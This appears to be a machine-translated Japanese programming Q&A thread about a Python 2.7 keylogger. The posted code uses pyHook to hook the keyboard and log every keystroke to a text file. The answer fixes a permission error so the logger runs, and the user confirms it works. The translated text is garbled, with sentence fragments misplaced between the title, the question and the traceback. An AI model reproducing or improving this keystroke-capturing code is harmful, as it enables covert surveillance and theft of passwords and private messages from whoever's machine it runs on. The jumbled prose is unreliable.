2017-03-04 8 views
0

私はPython 2.7でシンプルなキーロガーを作ろうとしています。すべてのヘルプは高く評価されErrno 13 python 2.7修正方法がわからない

Traceback (most recent call last): 
    File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch 
    return func(event) 
    File "C:\Users\Finlay\Documents\Python-Projects\Mali\Mali.py", line 10, in OnKeyboardEvent 
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') 
    File "C:\Python27\lib\logging\__init__.py", line 1547, in basicConfig 
    hdlr = FileHandler(filename, mode) 
    File "C:\Python27\lib\logging\__init__.py", line 913, in __init__ 
    StreamHandler.__init__(self, self._open()) 
    File "C:\Python27\lib\logging\__init__.py", line 943, in _open 
    stream = open(self.baseFilename, self.mode) 
IOError: [Errno 13] Permission denied: 'C:\\keyloggeroutput.txt' 

、「私は許可が拒否され見ることができますが、私はドン:ここ

はコード

# -*- coding: cp1252 -*- 
import pyHook 
import pythoncom 
import sys 
import logging 
from subprocess import call 
call(["cd","C:/"],shell=True) 
file_log = 'C:/keyloggeroutput.txt' 
def OnKeyboardEvent(event): 
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') 
    chr(event.Ascii) 
    logging.log(10,chr(event.Ascii)) 
    return True 
hooks_manager = pyHook.HookManager() 
hooks_manager.KeyDown = OnKeyboardEvent 
hooks_manager.HookKeyboard() 
pythoncom.PumpMessages() 

私はそれを使用しようとすると、それはこのエラーを返していますそれを修正する方法を知っている。

+0

* "My Documents" *フォルダに 'keyloggeroutput.txt'を配置しようとしましたか?結局のところ、許可の問題です... – jkalden

+0

ありがとうございました@jkaldenそれは今動作します! –

答えて

0

それが動作するように、私は答えとしてそれを置く:

をあなたが十分な権限を持っているフォルダにkeyloggeroutput.txtを配置する必要があり、例えばMS Windowsの場合は、「マイドキュメント」

関連する問題